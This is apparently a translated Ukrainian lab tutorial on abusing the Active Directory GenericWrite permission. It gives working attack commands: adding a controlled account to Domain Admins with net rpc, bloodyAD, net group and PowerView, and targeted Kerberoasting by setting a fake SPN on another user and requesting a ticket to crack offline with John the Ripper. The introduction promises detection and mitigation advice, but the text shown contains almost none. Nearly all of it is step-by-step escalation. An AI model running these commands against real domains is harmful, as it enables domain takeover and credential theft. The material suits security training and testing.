У цій статті ми розглянемо зловживання привілеєм GenericWrite в Active Directory, зосередившись на тому, як зловмисники експлуатують списки керування доступом (DACL) для підвищення привілеїв. Зловживаючи дозволом GenericWrite, супротивники можуть змінювати членство в групах, імена служб (SPN) або сценарії входу, що призводить до горизонтального переміщення (lateral movement) або повного захоплення домену.
Нижче описано налаштування лабораторії, необхідне для симуляції цих атак, а методи зіставлено з фреймворком MITRE ATT&CK для роз’яснення пов’язаних технік і тактик. Також розглянуто механізми виявлення підозрілої активності, пов’язаної з атаками GenericWrite, разом із дієвими рекомендаціями щодо пом’якшення цих вразливостей. Цей огляд надає фахівцям із безпеки важливі знання для розпізнавання цих поширених загроз та захисту від них.
Зміст
- Дозвіл GenericWrite
- Попередні вимоги
- Налаштування лабораторії – Користувач має дозвіл GenericWrite щодо групи адміністраторів домену (Domain Admin)
- Фаза експлуатації I – Користувач має дозвіл GenericWrite щодо групи
- Bloodhound – Пошук слабких дозволів
- Метод експлуатації – Маніпуляція обліковим записом (T1098)
- Linux Net RPC – Samba
- Linux Bloody AD
- Команда Windows Net
- Windows PowerShell – PowerView
- Налаштування лабораторії – Користувач має дозвіл GenericWrite щодо іншого користувача
- Фаза експлуатації II – Користувач має дозвіл GenericWrite щодо іншого користувача
- Bloodhound – Пошук слабких дозволів
- Метод експлуатації – Kerberoasting (T1558.003)
- Linux Python Script – TargetedKerberoast
- Windows PowerShell – PowerView
Дозвіл GenericWrite
Дозвіл GenericWrite в Active Directory дозволяє користувачеві змінювати всі атрибути об’єкта, доступні для запису, за винятком властивостей, що потребують спеціальних прав (наприклад, скидання паролів).
Якщо зловмисник отримує GenericWrite над користувачем, він може записати дані в атрибут servicePrincipalNames і негайно розпочати атаку targeted Kerberoasting.
Більше того, наявність GenericWrite над групою дозволяє йому додати свій обліковий запис — або той, який він контролює — безпосередньо до цієї групи, фактично підвищуючи свої привілеї.
Як варіант, якщо зловмисник отримує GenericWrite над об’єктом комп’ютера, він може змінити атрибут msds-KeyCredentialLink. Як результат, він створює Shadow Credentials і автентифікується як цей обліковий запис комп’ютера за допомогою Kerberos PKINIT.
Попередні вимоги
- Windows Server 2019 як Active Directory.
- Kali Linux
- Інструменти: Bloodhound, Net RPC, Powerview, BloodyAD.
- Windows 10/11 — у якості клієнта.
Налаштування лабораторії – Користувач має дозвіл GenericWrite щодо групи Domain Admin
Створення середовища Active Directory:
Для симуляції середовища Active Directory налаштуйте Windows Server як контролер домену (DC) та клієнтську машину (Windows або Linux) для запуску інструментів перерахування та експлуатації.
Контролер домену:
- Спочатку встановіть Windows Server (рекомендується 2016 або 2019).
- Потім підвищте його роль до контролера домену, додавши роль Active Directory Domain Services.
- Нарешті, налаштуйте домен (наприклад, ignite.local).
Облікові записи користувачів:
- Далі створіть звичайний обліковий запис користувача з іменем Anuradha:
net user anuradha Password@1 /add /domain

Призначення привілею «GenericWrite» користувачу Anuradha:
Після того як ви налаштували середовище AD, призначте привілей GenericWrite користувачу Anuradha стосовно групи Domain Admins.
Кроки:
- Відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
- Увімкніть режим Advanced Features (Додаткові компоненти), натиснувши View (Вигляд) > Advanced Features.
- Знайдіть групу Domain Admins у контейнері Users.
- Натисніть правою кнопкою миші на Domain Admins і виберіть Properties (Властивості).

- Перейдіть на вкладку Security (Безпека), потім натисніть кнопку Add (Додати).

- У полі «Enter the object name to select» введіть Anuradha, натисніть Check Names (Перевірити імена), а потім OK.

- У розділі Permissions (Дозволи) позначте пункт Write (Запис).

- Вибір чекбокса Write автоматично вмикає параметр Add/remove self as member (Додавання/видалення себе як учасника).

Після застосування налаштувань Anuradha тепер має права GenericWrite та AddSelf щодо групи Domain Admins. Як наслідок, вона може додати себе — або будь-який інший об’єкт під її контролем — до цієї групи.
Фаза експлуатації I – Користувач має дозвіл GenericWrite щодо групи
Bloodhound – Пошук слабких дозволів
Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Anuradha має дозвіл GenericWrite щодо групи Domain Admins.
bloodhound-python -u anuradha -p Password@1 -ns 192.168.1.7 -d ignite.local -c All

На основі графічного представлення Bloodhound тестувальник ідентифікує вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого керування (first degree object control) дорівнює 1.

Таким чином, інструмент показав, що користувач Anuradha має привілеї GenericWrite та SelfAdd щодо групи Domain Admins.


Метод експлуатації – Маніпуляція обліковим записом (T1098)
Linux Net RPC – Samba
Тестувальник може зловжити цим дозволом, додавши користувача Anuradha до групи Domain Admin, а потім вивівши список учасників цієї групи, щоб переконатися, що Anuradha стала адміністратором домену
net rpc group addmem "Domain Admins" anuradha -U ignite.local/anuradha%'Password@1' -S 192.168.1.7

Bloody AD
Альтернативно, цього можна досягти за допомогою інструменту bloodyAD
bloodyAD --host "192.168.1.7" -d "ignite.local" -u "anuradha" -p "Password@1" add groupMember "Domain Admins" "anuradha"

Windows Net command
Цього можна досягти за допомогою вбудованого командного рядка, використовуючи команду Windows net.
net group "domain admins" anuradha /add /domain

Таким чином, у властивостях користувача ми бачимо, що користувач Anuradha став учасником групи Domain Admins.

Windows PowerShell – Powerview
Зловмисник може додати користувача, групу або комп’ютер до певної групи. Це можна реалізувати за допомогою модуля Active Directory PowerShell або за допомогою командлета Add-DomainGroupMemberPowerView
powershell -ep bypass
Import-Module .PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password@1' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('ignite.localanuradha', $SecPassword)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'anuradha' -Credential $Cred

Налаштування лабораторії – Користувач має дозвіл GenericWrite щодо іншого користувача
У цій частині лабораторії ми створимо двох користувачів — Krishna та Radha, де користувач Radha матиме дозвіл GenericWrite стосовно користувача Krishna.
Створення середовища AD та облікових записів користувачів
- Створіть два облікові записи користувачів AD з іменами Krishna та Radha.
net user krishna Password@1 /add /domain
net user radha Password@1 /add /domain

Призначення привілею «GenericWrite»:
- Відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
- Увімкніть режим Advanced Features (Додаткові компоненти), натиснувши View (Вигляд) > Advanced Features.
- Знайдіть користувача Krishna у контейнері Users.
- Натисніть правою кнопкою миші на користувача Krishna і виберіть Properties (Властивості).

- Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).
- У полі «Enter the object name to select» введіть Radha, натисніть Check Names (Перевірити імена), а потім OK.
- Виберіть користувача Radha і в розділі Permissions (Дозволи) позначте пункт Write (Запис).
- Застосуйте налаштування.

На даний момент Radha має дозвіл GenericWrite стосовно користувача Krishna.
Фаза експлуатації II – Користувач має дозвіл GenericWrite щодо іншого користувача
Bloodhound – Пошук слабких дозволів
Пошук прямого керування об’єктами (First-Degree Object Control) для користувача Radha виконується так само, як було продемонстровано у попередніх кроках.
bloodhound-python -u anuradha -p Password@1 -ns 192.168.1.7 -d ignite.local -c All


З графіка видно, що користувач Radha має привілей GenericWrite щодо користувача Krishna.

Метод експлуатації – Kerberoasting (T1558.003)
Цим зловживанням можна скористатися, якщо ви контролюєте об’єкт, який має права GenericAll, GenericWrite, WriteProperty або Validated-SPN щодо цілі.
Linux Python Script – TargetedKerberoast
У UNIX-подібних системах це можна виконати за допомогою скрипта targetedKerberoast.py (Python). Цей інструмент автоматично встановлює значення Service Principal Name (SPN) для цільового користувача (якщо воно ще не встановлене), а потім запитує квиток Kerberos TGS, який можна зламати в офлайн-режимі.
Крім того, за допомогою John the Ripper та словника (наприклад, rockyou.txt) атакуючий може виконати брутфорс (перебір) для зламу слабкого пароля.
./targetedKerberoast.py --dc-ip '192.168.1.7' -v -d 'ignite.local' -u 'radha' -p 'Password@1'

Windows PowerShell – Powerview
На машинах Windows цього можна досягти за допомогою командлетів Set-DomainObject та Get-DomainSPNTicket (модуль PowerView).
powershell -ep bypass
Import-Module .PowerView.ps1
Set-DomainObject -Identity 'krishna' -Set @{serviceprincipalname='nonexistent/hacking'}
Get-DomainUser 'krishna' | Select serviceprincipalname
$User = Get-DomainUser 'krishna'
$User | Get-DomainSPNTicket
